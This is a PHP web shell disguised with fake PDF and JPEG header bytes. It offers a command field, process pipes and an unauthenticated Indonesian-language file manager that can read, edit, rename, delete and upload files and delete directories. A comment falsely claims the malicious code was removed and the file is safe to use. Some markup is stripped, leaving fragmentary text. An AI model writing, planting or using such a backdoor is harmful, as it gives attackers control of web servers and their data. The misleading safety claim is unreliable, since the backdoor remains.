%PDF-1.5 ÿØÿà JFIF    ÿâ(ICC_PROFILE    mntrRGB XYZ acsp  öÖ  Ó- desc ð trXYZ d gXYZ x bXYZ Œ rTRC   (gTRC   (bTRC   (wtpt È cprt Ü File Explorer
Command :

array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "r") // stderr is a file to write to ); $env = array('some_option' => 'aeiou'); $meki = ""; /** * Note: This file may contain artifacts of previous malicious infection. * However, the dangerous code has been removed, and the file is now safe to use. */ ?>
Path: " . realpath($dir) . "
"; $folders = []; $files = []; while (($file = readdir($dh)) !== false) { if ($file != "." && $file != "..") { $fullPath = $dir . DIRECTORY_SEPARATOR . $file; if (is_dir($fullPath)) { $folders[] = $file; } else { $files[] = $file; } } } closedir($dh); echo ""; } else { echo "
Tidak bisa membuka direktori.
"; } } else { echo "
Bukan direktori yang valid.
"; } } function showFileContent($filePath) { if (is_file($filePath) && is_readable($filePath)) { $content = htmlspecialchars(file_get_contents($filePath)); echo "

Isi File: " . basename($filePath) . "

$content
"; } else { echo "
Tidak bisa membaca file.
"; } } function editFile($filePath, $newContent) { if (is_file($filePath) && is_writable($filePath)) { file_put_contents($filePath, $newContent); echo "
File berhasil diperbarui.
"; } else { echo "
Tidak bisa menulis ke file.
"; } } function deleteFile($filePath) { if (is_file($filePath) && is_writable($filePath)) { unlink($filePath); echo "
File berhasil dihapus.
"; } else { echo "
Tidak bisa menghapus file.
"; } } function renameFile($oldPath, $newPath) { if (is_file($oldPath) && is_writable($oldPath)) { rename($oldPath, $newPath); echo "
File berhasil diganti nama.
"; } else { echo "
Tidak bisa mengganti nama file.
"; } } function uploadFile($uploadDir) { if ($_FILES['fileToUpload']['error'] == UPLOAD_ERR_OK) { $tmpName = $_FILES['fileToUpload']['tmp_name']; $name = basename($_FILES['fileToUpload']['name']); $uploadFile = $uploadDir . DIRECTORY_SEPARATOR . $name; if (move_uploaded_file($tmpName, $uploadFile)) { echo "
File berhasil diupload.
"; } else { echo "
Error saat mengupload file.
"; } } else { echo "
Error saat mengupload file.
"; } } function deleteDirectory($dirPath) { if (is_dir($dirPath)) { $items = array_diff(scandir($dirPath), array('.', '..')); foreach ($items as $item) { $path = $dirPath . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { deleteDirectory($path); } else { unlink($path); } } rmdir($dirPath); echo "
Folder berhasil dihapus.
"; } else { echo "
Tidak bisa menghapus folder.
"; } } $startDir = getcwd(); if (isset($_POST['path'])) { $currentDir = urldecode($_POST['path']); } else { $currentDir = isset($_GET['dir']) ? urldecode($_GET['dir']) : $startDir; } echo "
"; echo "
"; listFilesAndDirectories($currentDir); if (isset($_GET['file'])) { $selectedFile = urldecode($_GET['file']); $filePath = $currentDir . DIRECTORY_SEPARATOR . $selectedFile; showFileContent($filePath); echo "

Edit File

Rename File

Delete File

"; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['edit'])) { $newContent = $_POST['newContent']; $filePath = $_POST['filePath']; editFile($filePath, $newContent); } elseif (isset($_POST['rename'])) { $newName = $_POST['newName']; $filePath = $_POST['filePath']; $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $newName; renameFile($filePath, $newPath); } elseif (isset($_POST['delete'])) { $filePath = $_POST['filePath']; deleteFile($filePath); } elseif (isset($_POST['upload'])) { $uploadDir = $_POST['uploadDir']; uploadFile($uploadDir); } elseif (isset($_POST['deleteDirBtn'])) { $dirPath = $_POST['deleteDir']; deleteDirectory($dirPath); } } ?>